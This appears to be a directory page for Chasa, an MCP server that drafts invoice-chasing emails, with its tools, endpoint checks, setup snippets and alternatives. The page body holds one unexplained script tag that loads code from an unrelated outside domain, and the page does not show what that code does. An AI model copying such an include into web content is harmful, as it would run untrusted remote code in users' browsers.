Chasa is listed as active in the registry but did not answer our last check. It exposes 4 tools. Last commit 2 Nov 2026.
AI invoice follow-up emails for freelancers. Draft-only, never sends for you.
What changed 2
Every tool that appeared, vanished or quietly changed what it asks for. Recorded since 22 August 2026. No other catalogue keeps this.
What the code does
We read the source, 3 h ago · tools taken from the live server · rules 995398eba69f
What this server is able to do. For an MCP server this is often the job itself — a terminal server runs commands because that is what it is for. Listed so you know what you are plugging in, not as an accusation.
<script src="https://docstoc.io/tools-calc.js" defer></script>
Is this your server and something here is wrong? Tell us — corrections are free and do not require a plan.
This code can reach further than it looks
We found places where it runs commands, builds paths or queries from values it is given. None of that is a flaw by itself — it becomes one when the code changes, and code changes quietly between releases. We re-read it on every one.
Connect this server
Endpoint below is the one we actually reach during checks — not the one copied from a README. Last verified 7 min ago.
claude mcp add chasa --transport http https://api.chasa.io/mcphttps://api.chasa.io/mcp[mcp_servers.chasa]
url = "https://api.chasa.io/mcp"{
"mcpServers": {
"chasa": {
"url": "https://api.chasa.io/mcp"
}
}
}{
"servers": {
"chasa": {
"type": "http",
"url": "https://api.chasa.io/mcp"
}
}
}Available tools 4
Read directly from the server with tools/list, grouped by what they act on.
If a tool disappears, we record the date.
get_chase_tip
draft_chase_email
recommend_template
list_templates
Endpoints
| URL | Transport | State | Latency | Checked |
|---|---|---|---|---|
| https://api.chasa.io/mcp | streamable-http | answering | 214 ms | 7 min ago |
Alternatives to Chasa
same job, measured the same wayRead, search and draft email over IMAP from any AI agent. Never sends.
Invoicing tools for AI assistants: clients, draft invoices with computed tax, and email sending.
A MCP server for Outlook email that lets you search, read, and draft emails and replies.
A MCP server for Gmail that lets you search, read, and draft emails and replies.
Ringless voicemail and SMS follow-up for AI agents, with consent checks and confirmed bulk sends.
Your agent's own email address: read, search, send, reply, draft and wait for mail.
Push, email, SMS, in-app and journeys. 54 tools: reads and drafts; only test sends.
Email inboxes and calendars for AI agents: send, receive, search, draft and schedule.
Chasa — questions
Answers built from our own checks of this server.